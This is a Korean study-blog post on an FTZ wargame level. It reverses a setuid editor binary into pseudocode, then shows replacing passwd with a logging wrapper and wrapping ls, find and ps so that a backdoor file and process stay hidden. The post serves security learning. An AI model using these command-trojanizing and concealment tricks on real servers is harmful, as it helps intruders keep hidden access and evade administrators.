- Level2
editor를 리버싱하여 의사코드로 복원
[level2@ftz level2]$ gdb /usr/bin/editor
|
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048360 <main+0>: push %ebp 0x08048361 <main+1>: mov %esp,%ebp 0x08048363 <main+3>: sub $0x8,%esp 0x08048366 <main+6>: and $0xfffffff0,%esp 0x08048369 <main+9>: mov $0x0,%eax 0x0804836e <main+14>: sub %eax,%esp 0x08048370 <main+16>: sub $0x8,%esp 0x08048373 <main+19>: push $0xbbb 0x08048378 <main+24>: push $0xbbb 0x0804837d <main+29>: call 0x80482a0 <setreuid> 0x08048382 <main+34>: add $0x10,%esp 0x08048385 <main+37>: sub $0xc,%esp 0x08048388 <main+40>: push $0x8048444 0x0804838d <main+45>: call 0x8048280 <system> 0x08048392 <main+50>: add $0x10,%esp 0x08048395 <main+53>: leave 0x08048396 <main+54>: ret 0x08048397 <main+55>: nop End of assembler dump. (gdb) x/s 0x8048444 0x8048444 <_IO_stdin_used+4>: "/bin/vi" |
|
> 생각보다 엄청 간단하게 이루어져 있다.
> setreuid는 level1에서도 확인 했듯이 UID와 EUID를 변경시킨다. push 값은 0xbbb(3003) 이다. 보나마나 level3의 UID일 것이다.
> system으로 실행하는 명령어는 /bin/vi임을 확인 했다.
- 복원한 의사코드
editor.c
|
#include<sys/types.h> #include<unistd.h> #include<stdlib.h> int main() { setuid(3003,3003); system("/bin/vi"); } |
|
> 추가 시킬 헤더파일은 man 명령어로 확인해보면 확인 가능합니다.
> 너무나 간단한 코드로 해킹이 가능하다.
- 응용
위처럼 editor를 만들어 놓으면 vi를 대체 할 수 있다.
명령어를 수행할때 필요한 작업을 한꺼번에 실행 할 수 있다면 좋겠다.
ftz.hackerschool.org의 이미지는 아직 권한이 완벽하지 않으니 linux에서 실습한다.
passwd 명령어를 사용하는 사용자를 로그파일에 저장한다.
# vi /root/bin/passwd
|
#!/bin/bash id >> /tmp/passwd.log date >> /tmp/passwd.log echo >> /tmp/passwd.log /usr/bin/passwd.old $* |
|
> /root/bin/passwd를 사용하면 id/date/echo를 실행하여 지정된 passwd.log 파일에 저장한다.
> /usr/bin/passwd.old $* passwd.old( 원래 passwd 명령어 이름만 잠깐 바꿔놓음 ) 의 인자 값을 모두 가져온다.
# chmod 755 /root/bin/passwd
> 실습용으로 실행 퍼미션을 준다.
# mv /usr/bin/passwd /usr/bin/passwd.old
# cp /root/bin/passwd /usr/bin/passwd
> 기존의 명령어 파일의 이름을 바꾸고 만든 파일을 옮겨놓는다.
# passwd user01
-> 사용자의 암호가 정상적으로 바뀌고 /tmp/passwd.log를 확인하면 기록에도 남아있는 것을 확인 할 수 있다.
# rm /usr/bin/passwd
# mv /usr/bin/passwd.old /usr/bin/passwd
> 복원 작업
악의적인 응용에는 해킹한 서버에 백도어 파일을 남겨두었다.
백도어가 검색이 되지 않도록 하면 사용자가 알아채지 못할 것이다. ( ls 명령어 조작 )
# vi /root/bin/ls
|
#!/bin/bash /bin/ls $* | grep -v hacker_file |
|
> ls의 모든 인자 값($*)을 가져오고 뒤에 백도어 파일(hacker_file)은 늘 제외한다.
> passwd.old 처럼 완전 바꿔버리려면 ls 명령어도 이름을 바꿔 지정해야 하지만 간단히 확인만 하기 때문에 /bin/ls를 그대로 사용
> /bin/ls 를 지우고 /root/bin/ls를 넣으면 안된다.
# chmod 755 /root/bin/ls
> 실행 권한 부여
# touch /root/bin/hacker_file
# cd /root/bin
# /root/bin/ls -l
-> hacker_file이 보이지 않는다.
# /bin/ls -l
-> hacker_file이 보인다.
같은 방법으로 find 명령어로도 검색이 되지 않게 하려면
# vi /root/bin/find
|
#!/bin/bash /usr/bin/find $* | grep -v hacker_file |
|
같은 방법으로 hacker_process가 검색되지 않게 ps 명령어를 조작한다.
# vi /root/bin/ps
|
#!/bin/bash /bin/ps $* | egrep -v hacker_process |
|
> ps 명령어의 인자 값을 다 가져오고 hacker_process는 제외한다.
# vi /root/bin/hacker_process
|
#!/bin/bash sleep 86400 |
|
> 간단하게 대기하는 프로그램을 만들어 실행 권한을 주고 실행한다.
# /root/bin/ps -ef | grep hacker*
-> 검색 되지 않는다.
# /bin/ps -ef | grep hacker*
-> 검색 된다.
(결론)
간단하게 새로운 프로그램을 해서 추가해서 넣어주었다. 이러한 방법은 기존의 명령어를 참조하기 때문에 기존의 명령어를 삭제하면 안된다.
이름도 같을 수 없기에 passwd.old 처럼 기존의 명령어의 이름을 바꿔야 한다. 이상한 이름으로 되어있는 명령어 파일을 보면 의심을 할 수 있다.
하지만 기존의 명령어 파일 자체에 코드를 숨겨 놓으면 찾을 수 없다. ( 해킹 당했다고 판단된 서버는 밀어버릴 수 밖에 없다. )
'Security > 리버싱' 카테고리의 다른 글
(암기) backdoor 만들기 (0) | 2017.11.28 |
---|---|
Level3 문제 해결 (0) | 2017.11.28 |
Level2 문제 해결 (0) | 2017.11.28 |
level 1 문제 해결 ( /bin/ExecuteMe 해석 ) (0) | 2017.11.27 |
level 1 문제 해결 (0) | 2017.11.27 |